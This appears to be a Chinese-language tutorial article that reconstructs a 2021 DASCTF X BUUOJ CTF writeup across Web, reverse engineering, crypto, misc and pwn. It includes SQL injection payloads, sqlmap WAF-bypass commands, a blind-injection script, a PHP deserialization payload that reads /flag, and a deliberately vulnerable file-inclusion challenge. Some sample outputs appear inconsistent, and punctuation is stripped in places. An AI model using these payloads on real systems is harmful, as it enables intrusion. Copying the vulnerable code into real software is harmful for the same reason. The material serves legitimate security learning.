1. 项目概述一次CTF竞赛的深度复盘“WP”在CTFCapture The Flag夺旗赛圈子里是“Writeup”的简称即赛后解题报告。这份《2021 DASCTF X BUUOJ 五月大联动WP》记录的就是一次由DASCTF和BUUOJ平台联合举办的线上CTF竞赛的完整解题过程。对于圈外人这可能只是一堆晦涩的命令和代码但对于CTF爱好者、网络安全学习者乃至从业者来说一份高质量的WP其价值不亚于一本武功秘籍。它不仅是答案的罗列更是解题思路、工具运用、漏洞原理和临场经验的集中展现。今天我就以这份2021年的WP为蓝本结合我多年打比赛和出题的经验为你深度拆解一次典型CTF竞赛的攻防全景。无论你是刚入门的新手想了解CTF到底在“玩”什么还是有一定基础的中阶选手希望提升自己的解题效率和思维深度亦或是想学习如何撰写一份优秀的WP来沉淀知识这篇文章都将带你穿越回那个比赛日亲历每一道题的破解瞬间并理解背后的“所以然”。2. 竞赛环境与核心思路解析2.1 赛事背景与平台特点DASCTF和BUUOJ都是国内活跃的CTF在线平台与赛事组织方。这类“联动赛”通常由多个平台或高校社团联合举办题目质量高、类型全、参赛者众是检验和提升实力的绝佳机会。2021年5月的这次比赛题目覆盖了Web安全、逆向工程、密码学、杂项Misc和编程Pwn等主流方向。解题环境通常是在自己的虚拟机或VPS上使用Kali Linux或Parrot OS这类渗透测试专用系统配合Burp Suite、IDA Pro、Ghidra、Wireshark、Python脚本等工具链。面对这样一场比赛核心解题思路可以概括为“信息收集-模式识别-工具利用-脚本编写”的循环。拿到题目通常是一个网址、一个二进制文件或一段密文第一步永远是尽可能多地收集信息网页源代码、HTTP响应头、文件属性、字符串信息、二进制结构等。然后根据收集到的信息比如看到eval($_POST[‘cmd’])想到Web Shell看到RC4、Base64想到密码学看到ELF文件想到逆向识别题目可能的考点和漏洞模式。接着使用或组合现有工具进行初步测试和利用。当现有工具不奏效或流程繁琐时就需要编写Python、PHP或Bash脚本来自动化处理。这份WP就是这套思维流程的最终文字化产物。2.2 WP的通用结构与写作心法一份好的WP绝不是简单的命令堆砌。它应该让读者能清晰地复现解题过程并理解每一步的意图。通用的结构包括题目名称与分类如[Web] easy_tornado。题目描述与附件简要说明题目要求通常就是找到格式为flag{xxx}的字符串。解题思路这是精华阐述看到题目后的第一反应、尝试的方向、遇到的坑以及最终突破的关键点。详细步骤按操作顺序给出使用的命令、工具配置、输入的Payload和对应的输出结果。关键处需要截图。原理分析深入解释利用的漏洞原理比如为什么这个SQL注入点可以绕过过滤那个反序列化链是如何构造的。总结与拓展这道题考察了什么知识点有哪些类似的漏洞或题目可以从中学到什么。在写作时我的心得是“假设读者是三个月前的自己”。这意味着你要记录下所有当时让你卡住、需要搜索或灵光一现的细节。一个参数、一个报错信息、一个工具的特定选项都可能成为关键。避免使用“然后就好了”、“显而易见”这类模糊表述每一步的“为什么”都要说清楚。3. 核心题型深度拆解与实战复现我们假设这份WP包含了以下几类典型题目我将逐一进行深度还原和扩展讲解。3.1 Web安全从注入到反序列化的攻防Web题是CTF中最常见的题型考察对HTTP协议、服务器端语言PHP/Java/Python等、前端技术以及常见漏洞的理解。场景复现一道综合性的PHP题目假设题目是一个简单的留言板可以查看和发布留言。查看留言的URL是view.php?id1。第一步信息收集与参数测试首先我会用浏览器访问观察页面功能。然后用Burp Suite抓包重放请求观察响应。对id参数进行初步测试id1 and 11和id1 and 12观察页面内容是否不同判断是否存在数字型SQL注入。id1观察是否有SQL语法错误回显判断是否存在字符型注入及闭合方式。如果页面无变化尝试时间盲注id1 and sleep(5)观察响应时间。注意现代CTF题目常常会过滤空格、select、union等关键字。需要尝试绕过比如用/**/代替空格用selselectect进行双写绕过用代替等。第二步利用SQLMap进行自动化探测手动测试确认存在注入点后可以使用sqlmap提高效率但理解其原理更重要。# 基本探测 sqlmap -u http://target.com/view.php?id1 --batch # 如果被过滤尝试使用tamper脚本 sqlmap -u http://target.com/view.php?id1 --tamperspace2comment --batch # 获取数据库名 sqlmap -u http://target.com/view.php?id1 --dbs --batch # 获取指定数据库假设叫ctf的所有表 sqlmap -u http://target.com/view.php?id1 -D ctf --tables --batch但比赛中sqlmap可能因为流量特征明显或被WAF拦截而失效因此手工注入能力是关键。第三步手工注入与信息获取假设我们确定是字符型注入闭合方式为单引号且过滤了空格和union。我们可能构造这样的Payloadview.php?id1/**/and/**/11%23%23是#的URL编码用于注释掉后面的SQL语句。通过布尔盲注一位一位地猜解数据。例如猜解数据库名长度id1/**/and/**/length(database())7%23猜解数据库名第一位ASCII码id1/**/and/**/ascii(substr(database(),1,1))100%23这个过程极其繁琐必须编写Python脚本自动化。import requests import time url http://target.com/view.php result for i in range(1, 50): # 假设数据库名长度不超过50 low 32 high 126 while low high: mid (low high) // 2 # 构造Payload注意URL编码 payload f1/**/and/**/ascii(substr(database(),{i},1)){mid}%23 params {id: payload} r requests.get(url, paramsparams) # 判断True/False的条件可能是页面内容包含某个特定字符串 if 某个True时出现的特征 in r.text: low mid 1 else: high mid - 1 result chr(low) print(fCurrent result: {result}) if low 32: # 空格可能是结束 break print(fDatabase name: {result})第四步发现新入口与反序列化在数据库的某个表中我们可能发现一条留言内容是一串奇怪的Base64编码字符串Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9。 解码后O:4:User:2:{s:8:username;s:5:admin;s:8:password;s:5:12345;}这明显是一个PHP序列化后的字符串。题目可能在其他功能点如cookie、POST数据中存在反序列化漏洞。我们需要找到一个接收序列化字符串并进行unserialize()操作的端点。通过代码审计如果给源码或黑盒测试我们找到一个api.phpPOST数据data会被反序列化。这里就涉及到反序列化漏洞利用。我们需要构造一个恶意的序列化字符串在反序列化时触发对象的__wakeup()或__destruct()魔术方法进而执行系统命令或读取文件。假设源码中有一个FileHandler类class FileHandler { public $filename; public function __destruct() { echo file_get_contents($this-filename); } }我们可以构造Payload读取/flag文件$obj new FileHandler(); $obj-filename /flag; echo serialize($obj); // 输出: O:11:FileHandler:1:{s:8:filename;s:5:/flag;}将输出的字符串或Base64编码后作为data参数POST给api.php就可能触发__destruct()读取并显示flag。实操心得Web题往往环环相扣。SQL注入得到的线索序列化字符串引导出反序列化漏洞。解题时要有“联系”的眼光所有发现的信息都可能是下一步的钥匙。同时对于PHP反序列化要熟练掌握常见内置类如SoapClient,SimpleXMLElement的利用技巧这在没有自定义类的题目中尤为重要。3.2 逆向工程静态分析与动态调试的博弈逆向题通常给一个可执行文件Windows PE或Linux ELF要求分析其逻辑找到输入什么才能输出正确结果或者直接找到内置的flag。场景复现一个简单的CrackMe题目给了一个crackme的ELF文件运行后要求输入密码正确则输出Congratulations! Flag is ...。第一步基础信息收集file crackme # 查看文件类型: ELF 64-bit LSB executable strings crackme | less # 查看文件中可打印字符串可能发现提示或flag片段 checksec crackme # 检查安全编译选项: RELRO, Stack Canary, NX, PIE如果strings看到了类似“Welcome! Please input your password:”和“Wrong!”的字符串说明程序逻辑比较直接。第二步静态分析使用IDA Pro/Ghidra用IDA Pro加载文件进入main函数视图。F5反编译为伪代码是核心步骤。你会看到类似下面的逻辑int main() { char user_input[100]; char real_password[100] s3cr3t_pssw0rd!; printf(Please input your password: ); scanf(%s, user_input); if (strcmp(user_input, real_password) 0) { printf(Congratulations! Flag is flag{%s}\n, user_input); // 假设flag就是密码 } else { printf(Wrong!\n); } return 0; }如果这么简单密码“s3cr3t_pssw0rd!”就是flag的一部分。但实际题目绝不会这么简单。第三步动态调试使用GDB配合Ped/pwndbg更常见的情况是密码经过复杂变换。例如程序可能将输入字符串每个字符的ASCII码加1再与内置字节数组比较。gdb ./crackme (gdb) b main # 在main函数入口断点 (gdb) r # 运行 (gdb) disas # 反汇编查看汇编指令我们需要在关键比较函数如strcmp处下断点查看寄存器或内存中的值。假设在0x400756处调用strcmp。(gdb) b *0x400756 (gdb) c # 继续运行程序会停在断点处 (gdb) info registers # 查看寄存器RDI和RSI通常存放两个比较字符串的地址 (gdb) x/s $rdi # 查看RDI指向的字符串用户输入 (gdb) x/s $rsi # 查看RSI指向的字符串程序计算后的正确值这样就能直接看到程序期望的“正确”字符串是什么。第四步编写解密脚本如果程序逻辑是内置一个密文[0x41, 0x42, 0x43, ...]用户输入input程序对input做encode操作结果与密文比较。那么我们需要逆向encode算法写出对应的decode函数。 假设分析发现encode是简单的异或0xAAcipher [0xeb, 0xe8, 0xe9, 0xfe, 0xdf] # 从IDA中提取的字节数组 flag for c in cipher: flag chr(c ^ 0xAA) print(flag) # 输出可能是可读的字符串注意事项逆向工程中耐心和细心是第一位的。一个跳转指令jnzvsjz看错整个分析方向就错了。要善用IDA的交叉引用Xrefs功能追踪数据流和控制流。对于复杂的混淆或加壳程序可能需要先脱壳或使用动态插桩工具如Intel Pin, Frida来辅助分析。3.3 密码学不只是编码与替换CTF中的密码学题目从简单的编码到复杂的现代密码体系都可能涉及。场景复现一道混合编码题题目给了一串字符4A6C78685A57787651334A685A474E765745397662476C7563476C755A334A68636E52795957317A5A474E7657574A6C5A574E76。第一步识别编码类型长度是偶数很像十六进制Hex。先尝试Hex解码import binascii s 4A6C78685A57787651334A685A474E765745397662476C7563476C755A334A68636E52795957317A5A474E7657574A6C5A574E76 bytes_str binascii.unhexlify(s) print(bytes_str) # 输出: bJlxhZWxvQ3JhZGNvVWE9vbGulcGluZ2NkRc1yZWdWJWlzZWv输出看起来像Base64编码包含大小写字母、数字、、/结尾可能有。继续Base64解码import base64 s2 bJlxhZWxvQ3JhZGNvVWE9vbGulcGluZ2NkRc1yZWdWJWlzZWv # 注意Base64解码需要是字符串且可能需要处理填充 try: decoded base64.b64decode(s2) print(decoded) except: # 如果不是标准Base64尝试Base32或URL安全的Base64 pass如果Base64解码失败观察字符串特征。Jl...可能又是Hex对bytes_str再进行一次Hex解码不bytes_str已经是字节了。我们打印其原始字节值print(list(bytes_str))发现字节值大部分在可打印ASCII范围内。这可能是一种替换密码比如凯撒Caesar或ROT。尝试ROT13import codecs rot13_str codecs.decode(bytes_str.decode(ascii), rot_13) print(rot13_str)如果ROT13不行尝试所有可能的凯撒偏移1-25def caesar_bruteforce(ciphertext): for shift in range(1, 26): plain for char in ciphertext: if char.isalpha(): base ord(A) if char.isupper() else ord(a) plain chr((ord(char) - base - shift) % 26 base) else: plain char print(fShift {shift}: {plain}) caesar_bruteforce(bytes_str.decode(ascii))第二步发现多层套娃与隐写密码学题常常是“套娃”。Hex - Base64 - ROT13 - 摩斯电码 - 二进制 - 零宽字符隐写……。关键是要有系统的识别方法看字符集0-9, a-f- HexA-Z, a-z, 0-9, , /, - Base64只有A-Z- 可能是Base32只有0-1- 二进制.-- 摩斯电码。看长度Base64编码长度通常是4的倍数。用工具CyberChef一个网页工具是神器可以自动识别和尝试多种编码/加密。结合上下文题目描述可能给出提示比如“凯撒大帝”、“栅栏”等。实操心得对于密码学题建立一个本地“解码流水线”脚本非常有用。将常见的解码函数hex, base64, base32, urlencode, rot13, morse等写成函数然后尝试顺序组合。同时要了解一些现代密码的识别特征如AES输出是固定长度的块、RSA题目会给n, e, c三个大数、ECC涉及椭圆曲线方程等。对于RSA如果n较小可以直接分解如果e很大可能是Wiener攻击如果e3且明文很短可能是低加密指数攻击。3.4 杂项Misc脑洞与信息搜集的集合Misc题目千奇百怪可能涉及隐写术、流量分析、协议分析、编程、编码、社会工程学等。场景复现一个包含flag的图片题目给了一张flag.jpg看起来正常但strings和binwalk都没发现异常。第一步基础检查file flag.jpg exiftool flag.jpg # 查看图片元数据可能在Comment字段藏有信息 strings flag.jpg | grep -i flag binwalk flag.jpg # 检查文件中是否隐藏了其他文件如果binwalk显示有ZIP文件嵌入则用dd或foremost分离binwalk -e flag.jpg # 自动提取 # 或 dd ifflag.jpg ofhidden.zip skip123456 bs1 # 从指定偏移量提取第二步隐写术分析LSB隐写将信息藏在像素RGB值的最低有效位。用steghide需要密码或zsteg针对PNG/BMP工具。steghide extract -sf flag.jpg # 会提示输入密码尝试空密码或常见密码 zsteg flag.png # 检测LSB隐写图片高度/宽度修改用010 Editor或PIL库检查图片尺寸可能CRC校验正确但实际显示不全修改高度可显示隐藏部分。from PIL import Image img Image.open(flag.jpg) print(img.size) # 查看宽高 # 如果怀疑高度被改小可以尝试用二进制编辑器修改jpg文件的高度字段频谱分析如果是音频文件MP3可能将flag编码到频谱图中。用Audacity打开查看频谱图。流量包分析PCAP给一个.pcap文件用Wireshark打开。过滤HTTP流追踪TCP流寻找上传/下载的文件或者分析异常协议。常见考点是HTTP中上传的webshell或FTP、DNS隧道传输的数据。在Wireshark中文件 - 导出对象 - HTTP可以提取传输的文件。过滤dns查询查看DNS请求的域名可能包含Base64编码的flag。避坑技巧Misc题往往需要“脑洞大开”但也是有迹可循的。首先尝试所有常规检查元数据、字符串、文件结构、分离。其次根据文件类型图片、音频、视频、文档、流量使用对应的专业工具如exiftool,binwalk,steghide,zsteg,Wireshark,Audacity,foremost。最后注意题目描述中的任何双关语、提示或“看起来很正常”这样的字眼这往往是解题的关键暗示。例如“看起来很正常的mp3文件”可能暗示音频隐写或末尾附加了数据。4. 实战问题排查与高效技巧汇编在实际比赛和解题中你会遇到各种各样的问题。下面是我总结的一些常见问题与解决技巧。4.1 工具失效或环境问题问题1SQLMap跑不出来或者被WAF拦截。排查使用-v 3参数查看发送的Payload检查是否被过滤。用--random-agent和--delay降低请求频率模拟真人操作。技巧手工注入永远是根本。理解SQLMap的tamper脚本如space2comment.py,equaltolike.py自己根据过滤逻辑编写简单的绕过脚本。对于时间盲注Burp Suite的Intruder模块的Pitchfork或Cluster bomb模式结合Grep - Extract功能可以半自动化地猜解数据比纯手写脚本快。问题2GDB调试时程序有反调试或检测到调试器就退出。排查使用strace跟踪系统调用看程序在哪一步退出。用ltrace跟踪库函数调用。技巧在GDB中可以在程序启动前start命令之前下断点然后修改ptrace等反调试函数的返回值。或者使用gdbserver附加有时可以绕过。更高级的方法是使用pwntools的gdb.debug在脚本中控制调试过程。问题3逆向的二进制文件被加壳UPX, ASPack等。排查file命令输出可能显示packedstrings输出很少。用Detect It Easy或PEiD查壳类型。技巧对于UPX壳通常有官方工具upx -d可以直接脱壳。对于其他壳可能需要手动脱壳或使用动态脱壳工具。在CTF中有时可以直接运行程序在内存转储dump出解压后的代码使用OllyDbg或x64dbg的Scylla插件。4.2 思维卡点与突破方法问题毫无头绪不知道从何下手。方法遵循“由外到内由浅入深”的原则。外部完整运行一遍程序观察所有输入输出。仔细阅读题目描述和任何提示。基础分析file,strings,checksec用一切静态方法收集信息。动态跟踪用strace/ltrace看它做了什么用GDB在入口点、库函数调用处断点。对比差异如果程序对正确输入和错误输入有不同行为用GDB调试两种路径对比执行流和内存状态的变化。搜索特征将看到的字符串、函数名、常量值魔数拿去搜索引擎或CTF题库如CTFHub, CTF Wiki搜索很可能有类似的题目或公开的漏洞。问题知道是某种漏洞如栈溢出但不会构造利用Payload。方法理解原理必须彻底理解漏洞原理。栈溢出就是覆盖返回地址那么需要知道偏移量是多少到返回地址的距离、哪里可以注入shellcode、有没有NX/DEP保护需要ROP、有没有ASLR需要泄露地址。使用框架对于常见的Pwn题使用pwntools库可以极大简化利用过程。它提供了连接、收发数据、打包整数、生成shellcode、ROP链构建等功能。分步测试先构造一长串有规律如cyclic生成的字符串的输入触发崩溃用GDB确定覆盖返回地址的精确偏移。然后逐步构造最终的Exploit。4.3 效率提升与比赛策略环境准备赛前准备好虚拟机快照里面安装好所有常用工具Burp Suite, IDA Pro, GDBpwndbg, Python3pwntools, Wireshark, StegSuite等并配置好代理和浏览器书签指向CyberChef、各种在线解码工具。团队分工如果是团队赛明确分工。有人擅长Web有人精通逆向有人是密码学高手。同时要有一个“自由人”负责杂项和协调以及帮主力选手查找资料、编写辅助脚本。flag提交注意flag格式可能是flag{...}、DASCTF{...}、buuoj{...}或者题目中明确说明的格式。提交错误会浪费宝贵时间。时间管理比赛前期快速扫描所有题目把一眼能看出思路的“签到题”先拿下。中期集中火力攻克各自擅长领域的中等难度题。后期合作攻坚难题或者尝试“猜”flag基于已知信息。信息记录使用一个共享的文档如Notion、OneNote或记事本实时记录每道题的发现、思路、尝试过的Payload、有用的链接。这能避免重复劳动也方便赛后写WP。5. 从解题到出题思维模式的升华真正吃透CTF不仅要会解题还要尝试出题。出题能让你从另一个角度理解漏洞和防御。出题的基本流程确定考点你想考察什么SQL注入的绕过反序列化链的构造栈溢出中的ROP构建场景编写一个简单的、包含漏洞的Web应用或二进制程序。漏洞要清晰但可以增加一些简单的过滤或混淆来提升难度。设置引导与障碍给予必要的提示在题目描述、页面注释、字符串中但不要直接给出答案。设置合理的障碍如简单的WAF、编码变换。测试与调整自己先解一遍确保漏洞可被利用且解法唯一或主流。让朋友测试根据反馈调整难度。部署与说明将题目部署到Docker容器中确保环境稳定。编写清晰的题目描述和部署说明。例如出一道简单的Web题考点PHP文件包含利用php://filter协议读取源码。代码?php $file $_GET[file]; if(isset($file)) { if (strpos($file, flag) ! false) { die(Hacker!); } include($file); } else { highlight_file(__FILE__); } ?解法filephp://filter/convert.base64-encode/resourceindex.php然后解码得到源码在源码注释里找到flag。障碍是过滤了flag字符串但可以用flag的拼接绕过吗这里不行因为strpos是严格匹配。但考点不在此而是利用filter读取自身源码。进阶可以增加一层需要先通过另一个页面获取一个密钥才能构造出正确的包含路径。通过出题你会更深刻地理解漏洞的产生条件、利用方式和修复方法这对你实际的安全工作能力是极大的锻炼。回过头看《2021 DASCTF X BUUOJ 五月大联动WP》它不仅仅是一次比赛的记录更是一个包含了Web、Reverse、Crypto、Misc、Pwn等众多安全领域知识点的微型百科全书。每一行命令、每一个脚本、每一段分析都凝结着解题者的思考、尝试与最终突破的瞬间。对于学习者按图索骥可以复现技术对于思考者举一反三可以洞察模式。CTF的魅力就在于此它是一场智力的游戏更是一条通往网络安全核心领域的实践之路。把每一次WP的阅读和写作都当作与高手的一次隔空对话和一次自我的技术复盘你的成长速度将会超乎想象。